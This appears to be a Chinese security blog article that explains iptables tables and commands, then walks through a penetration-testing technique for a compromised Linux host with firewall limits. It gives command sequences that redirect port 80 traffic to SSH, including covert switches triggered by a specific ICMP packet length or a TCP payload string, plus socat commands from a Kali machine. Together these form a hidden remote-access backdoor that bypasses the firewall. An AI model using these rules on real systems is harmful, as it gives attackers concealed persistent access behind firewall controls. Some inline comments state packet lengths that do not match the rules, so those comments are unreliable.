Linux利用iptables做端口复用

VSole2022-01-09 07:47:04

iptables基础

我们自定义的所有规则,都是这四种分类中的规则,或者说,所有规则都存在于这4张”表”中

#1 主动

包含4个表:4个表的优先级由高到低:raw-->mangle-->nat-->filter

#1.1 raw

RAW表只使用在PREROUTING链和OUTPUT链上,因为优先级最高,从而可以对收到的数据包在连接跟踪前进行处理。一但用户使用了RAW表,在某个链上,RAW表处理完后,将跳过NAT表和ip_conntrack处理,即不再做地址转换和数据包的链接跟踪处理了

#1.2 mangle

此规则表拥有prerouting、FORWARD、postrouting三个规则链,除了进行网址转译工作会改写封包外,在某些特殊应用可能也必须去改写封包(ITL、TOS)或者是设定MARK(将封包作记号,以进行后续的过滤)这时就必须将这些工作定义在mangles规则表中

#1.3 nat

此规则表拥有prerouting和postrouting两个规则链, 主要功能为进行一对一、一对多、多对多等网址转译工作(SNATDNAT)

#1.4 filter

这个规则表是预设规则表,拥有 INPUT、FORWARD 和 OUTPUT 三个规则链;负责过滤功能,防火墙;内核模块:iptables_filter

#2 常用命令和参数

举例:iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22

常用命令:-A 追加规则-->iptables -A INPUT
-D 删除规则-->iptables -D INPUT 1(编号)
-R 修改规则-->iptables -R INPUT 1 -s 192.168.12.0 -j DROP 取代现行规则,顺序不变(1是位置)
-I 插入规则-->iptables -I INPUT 1 --dport 80 -j ACCEPT 插入一条规则,原本位置上的规则将会往后移动一个顺位
-L 查看规则-->iptables -L INPUT 列出规则链中的所有规则
-N 新的规则-->iptables -N allowed 定义新的规则
-t 指定nat就看nat表信息,不用-t 默认filter表
-n 使输出中的IP地址和端口以数值的形式显示
-V 输出详细化
--line 显示出每条规则在相应链中的序号
通用参数:-p 协议  例:iptables -A INPUT -p tcp
-s源地址 例:iptables -A INPUT -s 192.168.1.1
-d目的地址 例:iptables -A INPUT -d 192.168.12.1
-sport源端口 例:iptables -A INPUT -p tcp --sport 22
-dport目的端口 例:iptables -A INPUT -p tcp --dport 22
-i指定入口网卡 例:iptables -A INPUT -i eth0
-o指定出口网卡 例:iptables -A FORWARD -o eth0

#2.1 举例

iptables -t nat -nL --line

注释:

PREROUTING链:PREROUTING链的作用是在包刚刚到达防火墙时改变它的目的地址,是从外部连接过来时的转发

OUTPUT链:OUTPUT链改变本地产生的包的目的地址,是本机连接时的转发

POSTROUTING链:POSTROUTING链在包就要离开防火墙之前改变其源地址

利用情况

在做渗透测试的过程中,我们经常会遇到下面这种问题:

目标主机是Linux系统,目标主机防火墙有严格的限制,只允许80端口的流量进入。我们拿到了目标主机的Webshell并且拿到了SSH的账号密码,但因为防火墙限制不能连接22端口,这时就需要利用80端口做端口复用连接。

现在我们的思路就是利用Linux的iptables防火墙的nat表的PREROUTING 链做端口复用,因为nat 表的 PREROUTING 链会在路由决策之前被处理

实际利用

Kali:192.168.152.250

目标机:192.168.152.135

#1 根据源地址做端口复用

#1.1目标机执行以下命令

iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --dport 80 -j REDIRECT --to-port 22 //将192.168.152.250访问80端口的流量都重定向到22端口
iptables -t nat -nvL //查看规则

#1.2kali上执行命令



ssh -p 80 root@192.168.152.135

#1.3缺点

访问目标主机80端口的流量都会被转给22端口,所以HTTP服务无法访问

#2 根据源地址做端口复用

#2.1目标机执行以下命令

iptables -t nat -A PREROUTING -p tcp -s 192.168.152.250 --sport 5555 --dport 80 -j REDIRECT --to-port 22 //指定来自192.168.152.250主机的5555端口访问80端口的流量才会被转给22端口 
iptables -t nat -nvL


#2.2kali上执行命令

用socat将本地4444端口的流量以源端口5555访问192.168.152.135:80,然后SSH本地的4444端口即可

nohup socat tcp-listen:4444,fork,reuseaddr tcp:192.168.152.135:80,sourceport=5555,reuseaddr

ssh -p 4444 root@127.0.0.1

#2.3缺点

不支持多连接 如果想创建两个 SSH 连接就会出错,因为本地的 5555 端口已经被第一个 SSH 连接占用了

#3 利用ICMP协议做遥控开关

#3.1创建端口复用链及规则

iptables -t nat -N LETMEIN //创建端口复用链 
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //创建端口复用规则,将流量转发至 22 端口 
iptables -t nat -nvL

#3.2创建开关

iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1028 -m recent --set --name letmein --rsource -j ACCEPT //开启开关,如果接收到一个长为 1139 的 ICMP 包,则将来源 IP 添加到加为letmein的列表中 
iptables -t nat -A PREROUTING -p icmp --icmp-type 8 -m length --length 1029 -m recent --name letmein --remove -j ACCEPT //关闭开关,如果接收到一个长为 1140 的 ICMP 包,则将来源 IP 从 letmein 列表中去掉 
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

#3.3kali上执行命令

开启复用

ping -c 1 -s 1000 192.168.152.135 //向目标发送一个长度为 1000 的 ICMP 数据包(加上包头28,总长度实际为1028,对应上上面设置的开启长度1028)

关闭复用

ping -c 1 -s 1001 192.168.152.135 //向目标发送一个长度为 1001 的 ICMP 数据包(加上包头28,总长度实际为1029,对应上上面设置的关闭长度1029)

#3.4缺点

如果目标在内网,你是无法直接 ping 到它的

#4 利用TCP协议做遥控开关

利用 tcp 数据包中的关键字做遥控开关,不怕目标在内网

#4.1创建端口复用链及规则

iptables -t nat -N LETMEIN //创建端口复用链
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22 //创建端口复用规则,将流量转发至 22 端口 
iptables -t nat -nvL

#4.2创建开关

iptables -A INPUT -p tcp -m string --string 'go' --algo bm -m recent --set --name letmein --rsource -j ACCEPT //开启开关,如果接收到一个含有 go 的TCP包,则将来源 IP 添加到加为letmein的列表中 
iptables -A INPUT -p tcp -m string --string 'out' --algo bm -m recent --name letmein --remove -j ACCEPT //关闭开关,如果接收到一个含有 out 的TCP包,则将来源 IP 从letmein的列表中移除 
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN //如果发现 SYN 包的来源 IP 处于 letmein 列表中,将跳转到 LETMEIN 链进行处理,有效时间为 3600 秒

#4.3kali上执行命令

开启复用

echo go | socat - tcp:192.168.152.135:80

关闭复用

echo out | socat - tcp:192.168.152.135:80

端口转发iptables
本作品采用《CC 协议》,转载必须注明作者和本文链接
隧道与端口转发
2021-11-18 08:26:13
如果想获得课程报名资格,请添加文末小助手微信咨询。查看是否禁止了出站ip或者禁止了出站端口或者禁止了出站协议。情况1:目标禁止出站ip如果目标主机设置了严格的策略,防火墙只允许目标内网机器主动连接公网指定的ip。这样的话,没法反弹shell。情况2:禁止出站端口Linux系统使用Linux系统自带命令探测出网端口
​iptables由上而下,由Tables,Chains,Rules组成
NAT穿透是如何工作的
2022-08-11 06:32:23
整个过程对双方透明。本文接下来都将关注在 UDP 上。对收发包的 socket 有直接控制权。例如,从经验上来说,无法基于某个现有的网络库实现 NAT 穿透,因为我们 必须在使用的“主要”协议之外,发送和接收额外的数据包。某些协议将 NAT 穿透与其他部分紧密集成。
蓝队初级防护总结
2023-01-09 10:11:55
三. 网站被上传webshell如何处理?工具方面比如使用D盾webshellkill,河马webshell查杀,百度在线webshell查杀等工具对网站目录进行排查查杀,如果是在护网期间可以将样本备份再进行查杀。堡垒机是针对内部运维人员的运维安全审计系统。WAFWAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。
堡垒机是针对内部运维人员的运维安全审计系统。WAFWAF是以网站或应用系统为核心的安全产品,通过对HTTP或HTTPS的Web攻击行为进行分析并拦截,有效的降低网站安全风险。设置账户锁定策略,比如说登录行为限制次数,达到次数后锁定多长时间。
大多数计算机系统设计为可与多个用户一起使用。特权是指允许用户执行的操作。普通特权包括查看和编辑文件或修改系统文件。特权升级意味着用户获得他们无权获得的特权。这些特权可用于删除文件,查看私人信息或安装不需要的程序,例如病毒。
一文吃透 Linux 提权
2021-10-23 07:09:32
特权升级意味着用户获得他们无权获得的特权。通常,当系统存在允许绕过安全性的错误或对使用方法的设计假设存在缺陷时,通常会发生这种情况。结果是,具有比应用程序开发人员或系统管理员想要的特权更多的应用程序可以执行未经授权的操作。
iptable使用详解
2022-12-09 09:10:52
而放入内核的地方必须要是特定的位置,必须是tcp/ip的协议栈经过的地方。这五个位置被称为五个钩子函数,也叫五个规则链。这是NetFilter规定的五个规则链,任何一个数据包,只要经过本机,必将经过这五个链中的其中一个链。为了让这些功能交替工作,制定出了“表”这个定义,来定义、区分各种不同的工作功能和处理方式。
远程桌面对了解内网渗透的人来说可能再熟悉不过了。在渗透测试中,拿下一台主机后有时候会选择开 3389 进远程桌面查看一下对方主机内有无一些有价值的东西可以利用。但是远程桌面的利用不仅如此,本节我们便来初步汇总一下远程桌面在内网渗透中的各种利用姿势。
VSole
网络安全专家